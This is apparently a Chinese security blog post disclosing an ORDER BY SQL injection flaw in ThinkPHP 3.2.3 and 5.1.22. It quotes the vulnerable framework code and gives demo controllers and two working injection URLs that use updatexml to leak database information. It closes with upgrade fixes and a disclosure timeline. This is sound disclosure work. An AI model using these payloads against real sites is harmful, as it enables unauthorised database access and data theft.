ThinkPHP 3.X/5.X order by注入漏洞

作者:Looke

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,创立于2006年初,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多的原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进,已经成长为国内最领先和最具影响力的WEB应用开发框架,众多的典型案例确保可以稳定用于商业以及门户级的开发。

漏洞原理

ThinkPHP在处理order by排序时,当排序参数可控且为关联数组(key-value)时,由于框架未对数组中key值作安全过滤处理,攻击者可利用key构造SQL语句进行注入,该漏洞影响ThinkPHP 3.2.3、5.1.22及以下版本。

ThinkPHP3.2.3漏洞代码(/Library/Think/Db/Driver.class.php):

/**
 * order分析
 * @access protected
 * @param mixed $order
 * @return string
 */
protected function parseOrder($order) {
    if (empty($order)) {
        return '';
    }
    $array = array();
    if (is_array($order)) {
        foreach ($order as $key => $val) {
            if (is_numeric($key)) {
                if (false === strpos($val, '(')) {
                    $array[] = $this->parseKey($val);
                }
            } else {
                $sort = in_array(strtolower($val), array('asc', 'desc')) ? ' ' . $val : '';
                $array[] = $this->parseKey($key) . $sort;
            }
        }
    } elseif ('[RAND]' == $order) {
        // 随机排序
        $array[] = $this->parseRand();
    } else {
        foreach (explode(',', $order) as $val) {
            if (preg_match('/\s+(ASC|DESC)$/i', rtrim($val), $match, PREG_OFFSET_CAPTURE)) {
                $array[] = $this->parseKey(ltrim(substr($val, 0, $match[0][1]))) . ' ' . $match[1][0];
            } elseif (false === strpos($val, '(')) {
                $array[] = $this->parseKey($val);
            }
        }
    }
    $order = implode(',', $array);
    return !empty($order) ? ' ORDER BY ' . $order : '';
}

ThinkPHP 5.1.22漏洞代码(framework/library/think/db/Query.php):

/**
 * 指定排序 order('id','desc') 或者 order(['id'=>'desc','create_time'=>'desc'])
 * @access public
 * @param string|array $field 排序字段
 * @param string $order 排序
 * @return $this
 */
public function order($field, $order = null) {
    if (empty($field)) {
        return $this;
    } elseif ($field instanceof Expression) {
        $this->options['order'][] = $field;
        return $this;
    }
    if (is_string($field)) {
        if (!empty($this->options['via'])) {
            $field = $this->options['via'] . '.' . $field;
        }
        if (strpos($field, ',')) {
            $field = array_map('trim', explode(',', $field));
        } else {
            $field = empty($order) ? $field : [$field => $order];
        }
    } elseif (!empty($this->options['via'])) {
        foreach ($field as $key => $val) {
            if (is_numeric($key)) {
                $field[$key] = $this->options['via'] . '.' . $val;
            } else {
                $field[$this->options['via'] . '.' . $key] = $val;
                unset($field[$key]);
            }
        }
    }
    if (!isset($this->options['order'])) {
        $this->options['order'] = [];
    }
    if (is_array($field)) {
        $this->options['order'] = array_merge($this->options['order'], $field);
    } else {
        $this->options['order'][] = $field;
    }
    return $this;
}

从上面漏洞代码可以看出,当$field参数为关联数组(key-value)时,key值拼接到返回值中,SQL语句最终绕过了框架安全过滤得以执行。

漏洞利用

ThinkPHP 3.2.3 漏洞demo

namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
	public function index() {
		$data             = array();
		$data['username'] = array('eq', 'admin');
		$order            = I('get.order'); //使用标准的I函数进行安全过滤
		$m                = M('user')->where($data)->order($order)->find();
		dump($m);
	}
}

访问如下URL即可进行漏洞利用:
http://127.0.0.1/ThinkPHP/?order[updatexml(1,concat(0x3a,user()),1)]=1

ThinkPHP 5.1.22 漏洞demo

namespace app\index\controller;
class Test {
	public function index() {
		$data             = array();
		$data['username'] = array('eq', 'admin');
		$order            = input('get.order'); //使用input函数进行安全过滤
		$m                = db('user')->where($data)->order($order)->find();
		dump($m);
	}
}

访问如下URL即可进行漏洞利用。
http://127.0.0.1/tp5/public/index/index/test/index?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1

动态调试可以发现,经框架处理后返回的SQL语句内容如下,继而带入SQL查询语句导致注入漏洞的产生。

漏洞修复

  • 5.X版本升级到最新5.1.23版本
  • 3.X版本升级到最新版本

漏洞时间线

  • 2018.8.10 提交github issues
  • 2018.8.16 官方确认漏洞,在下个版本改进
  • 2018.8.23 发布的新版本5.1.23中修复了该漏洞
  • 2018.8.28 3.2.3版本发布补丁修复该漏
本文由 Galaxy Lab 作者:GalaxyLab 发表,其版权均为 Galaxy Lab 所有,文章内容系作者个人观点,不代表 Galaxy Lab 对观点赞同或支持。如需转载,请注明文章来源。
5

抱歉,评论已关闭!